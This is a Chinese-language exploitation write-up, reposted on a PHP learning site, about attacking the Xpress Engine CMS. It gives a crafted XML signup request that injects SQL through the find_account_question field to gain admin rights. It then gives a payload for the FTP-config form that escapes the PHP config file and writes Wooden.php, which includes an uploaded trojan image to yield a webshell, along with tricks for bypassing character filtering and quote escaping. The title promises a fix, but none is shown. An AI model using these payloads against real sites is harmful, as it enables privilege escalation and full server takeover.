网站地图    收藏   

主页 > 后端 > 网站安全 >

Xpress Engine Injection & Get Webshell(含修复方案) -

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] 一次在安全检测中遇到XE的程序,查了下,发现是韩国的一套比较常见的Cms,然后尝试挖掘漏洞,可惜一通扫描,检测下来没有任何可利用的漏洞,只好求助于Google了,此injection是由韩国的一个黑...

一次在安全检测中遇到XE的程序,查了下,发现是韩国的一套比较常见的Cms,然后尝试挖掘漏洞,可惜一通扫描,检测下来没有任何可利用的漏洞,只好求助于Google了,此injection是由韩国的一个黑客组织公布的,但是韩文不行,并且文章介绍的很简单的,唯一有用的就是给出了出漏洞的文件和代码片断…

 

   于是下了套cms回来看了下,挖了个Insert 型的injection…

 

    问题出在/xe/classes/db/DBMysql.class.php,具体是哪就不说明了,毕竟不是自己发现的

 

注册时修改post:

<?xml version="1.0" encoding="utf-8" ?>

<methodCall>

<params>

<_filter><![CDATA[signup]]></_filter>

<user_id><![CDATA[wood11]]></user_id>

<password><![CDATA[wooden]]></password>

<password2><![CDATA[wooden]]></password2>

<user_name><![CDATA[wooden]]></user_name>

<nick_name><![CDATA[wood]]></nick_name>

<email_address><![CDATA[wooden@www.com]]></email_address>

<find_account_question><![CDATA[9,10,11,12,13,14,15,16,17,18,19,20,'Y',22,23,24)#]]></find_account_question>

<find_account_answer><![CDATA[test]]></find_account_answer>

<birthday><![CDATA[20110712]]></birthday>

<allow_mailing><![CDATA[Y]]></allow_mailing>

<module><![CDATA[member]]></module>

<act><![CDATA[procMemberInsert]]></act>

</params>

</methodCall>

    这样提交后,直接就是管理员权限了。。。接下来说拿Shell

 

   由于韩国的那文章里并没有提及到拿shell,经过和amote一通研究后终于拿到shell。。。

 

   在后台的Setting设置下 有个提交Ftp信息的模块,并且是写文件的files/config/ftp.config.php,大家会认为直接写个一句话上去就完事了,一开始我也这么认为的,但是请看提交后的代码:

<?php if(!defined("__ZBXE__")) exit();

$ftp_info->ftp_user = 'as';

$ftp_info->ftp_port = 'asd';

$ftp_info->ftp_host = 'asd';

$ftp_info->ftp_pasv = 'Y';

$ftp_info->ftp_root_path = 'ss‘

?>

 

关键在于开始的判断if(!defined("__ZBXE__")) exit();,很明显,如果直接访问的话,程序直接退出,无论你提交什么都没意义,思路在这本来是断了的,于是继续翻代码

 发现大部分配置文件都有这个判断,那么问题就好解决了,只要找到这个文件的宿主调用页,也就是定义了ZBXE标识的主文件并且让他调用ftp.config.php 就可以让代码执行了。。。

 

  追了几段代码,终于在index.php 的modules模块里发现了宿主函数:index.php?module=admin&act=dispAdminConfig  那么只需要调用这个函数 他就会向ftp.config.php赋予zbxe,自然的,插入的一句话就可以执行了

 

  但是,别高兴太早,在插入一句话的时候,发现程序过滤了很多东西例如$,&,@等一系列特殊符号,那么类似于<?php eval($_POST[c])?>等带有特殊符号的一句话木马都无法插入,并且Gpc开启,'也会被转义

  必须得符合以下条件:

  插入的代码不能带有$,&,@等特殊符号

  无法使用' 号      —-ps:gpc开启

  由于文件是在php代码内所以必须前后闭合,并且不能让文件报错

 

  Ok,研究后发现 插入一句话木马是不可能的了,好吧,不废话了,直接放出最后研究出的代码吧:

 ss\'; define("__ZBXE__","Hello world!");?><?php fputs(fopen("Wooden.php","w"),"<?include \"files/attach/images/55520/491/092/dd084814f98d139fa5aae08414b75ea4.gif\";?>")?><?//;

  注意开头的\' ,由于gpc为on的特性, '号将被转移成\' 加上我们自己提交的\ 即为\\' ,反之,单独提交' 来闭合会让程序报错,原理就不解释了,这样调用后会在根目录生成一个Wooden.php的文件,在此之前,还需要在后台开启文件上传,并且上传一个php木马的图片文件,接着在include中输入木马的路径,注意,由于gpc的缘故必须使用双引号,但是多层嵌套的双引号会报错,所以必须对include下的双引号进行转义

 

  Ok,提交后访问Wooden.php  一个本地包含的webshell出现了

 

  文章到此结束,不得不承认,过程相当曲折,主要在于构造方面

 By:阿呆

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论